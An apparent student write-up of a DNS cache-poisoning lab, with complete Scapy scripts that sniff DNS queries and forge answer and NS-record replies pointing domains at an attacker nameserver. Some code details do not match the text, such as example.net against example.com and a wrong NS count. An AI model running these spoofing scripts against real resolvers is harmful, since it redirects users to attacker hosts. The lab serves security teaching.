Setup Test
We get the IP of ns.attacker32.com
on querying for it, because the local DNS server has its IP address pre-defined in its configuration.
ns.attacker32.com
The local DNS server goes to the public internet and gets the IP address of www.example.com
www.example.com
using the local DNS serverThe client first asks the local DNS server for the A record of ns.attacker32.com
and then makes the requested DNS query directly to ns.attacker32.com
at the IP the local DNS server sent.
www.example.com
using the ns.attacker32.com
DNS serverTask 1: Directly Spoofing Response to User
During the attack, the attacker is able to target requests between the client and the DNS server only and has to individually intercept every client’s requests. The local DNS server’s cache is not poisoned. In fact, the local DNS server has the correct answer, but the attacker responded first, so the DNS server’s response was ignored by the client.
Code:
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and "www.example.net" in pkt[DNS].qd.qname.decode("utf-8")):
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200, rdata="10.0.2.5")
# The Authority Section
NSsec1 = DNSRR(rrname="example.net", type="NS",ttl=259200, rdata="ns1.example.net")
NSsec2 = DNSRR(rrname="example.net", type="NS",ttl=259200, rdata="ns2.example.net")
# The Additional Section
Addsec1 = DNSRR(rrname="ns1.example.net", type="A", ttl=259200, rdata="1.2.3.4")
Addsec2 = DNSRR(rrname="ns2.example.net", type="A",ttl=259200, rdata="5.6.7.8")
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = "udp and dst port 53"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
Task 2: Directly Spoofing Response to User - Spoofing Answers
Instead of targeting the client and the local DNS server communication, the local DNS server’s cache is poisoned, which leads to all clients automatically receiving the wrong response till the poisoned cache survives on the local DNS server.
Code:
The filter is modified to target the local DNS server’s requests to the router (public internet).
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and "www.example.net" in pkt[DNS].qd.qname.decode("utf-8")):
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200, rdata="10.0.2.5")
# The Authority Section
NSsec1 = DNSRR(rrname="example.net", type="NS",ttl=259200, rdata="ns1.example.net")
NSsec2 = DNSRR(rrname="example.net", type="NS",ttl=259200, rdata="ns2.example.net")
# The Additional Section
Addsec1 = DNSRR(rrname="ns1.example.net", type="A", ttl=259200, rdata="1.2.3.4")
Addsec2 = DNSRR(rrname="ns2.example.net", type="A",ttl=259200, rdata="5.6.7.8")
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
Task 3: Spoofing NS Records
When the user makes the first request to the server, instead of just sending spoofed DNS Answer Sections, the attacker sends a spoofed Authority Section as well, so then it controls the entire example.com
domain, rather than just www.example.com
as in Task 1 and Task 2. When a request to mail.example.com
is sent to the local DNS server after an initial www.example.com
request which poisons the cache, the attacker’s Nameserver is asked for the unknown answer to mail.example.com
instead of the ns1.example.com
, the actual Nameserver of example.com
.
example.com
domainexample.com
NS recordCode:
The NS records for example.com
have been modified to the attacker controlled Nameserver.
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and "www.example.com" in pkt[DNS].qd.qname.decode("utf-8")):
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200, rdata="10.0.2.5")
# The Authority Section
NSsec1 = DNSRR(rrname="example.com", type="NS",ttl=259200, rdata="ns.attacker32.com.")
NSsec2 = DNSRR(rrname="example.com", type="NS",ttl=259200, rdata="ns.attacker32.com.")
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0, an=Anssec, ns=NSsec1/NSsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
Task 4: Spoofing NS Records for Another Domain
Even though the attacker sends google.com
in the attack, the local DNS server does not cache it, as it is only concerned with the example.com
domain.
www.example.com
that poisons the local DNS server’s cachewww.google.com
that gives the correct answerexample.com
domain, but not the google.com
domainCode:
The NS record for google.com
has been added.
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and "www.example.com" in pkt[DNS].qd.qname.decode("utf-8")):
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200, rdata="10.0.2.5")
# The Authority Section
NSsec1 = DNSRR(rrname="example.com", type="NS",ttl=259200, rdata="ns.attacker32.com.")
NSsec2 = DNSRR(rrname="example.com", type="NS",ttl=259200, rdata="ns.attacker32.com.")
NSsec3 = DNSRR(rrname="google.com", type="NS",ttl=259200, rdata="ns.attacker32.com.")
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0, an=Anssec, ns=NSsec1/NSsec2/NSsec3)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)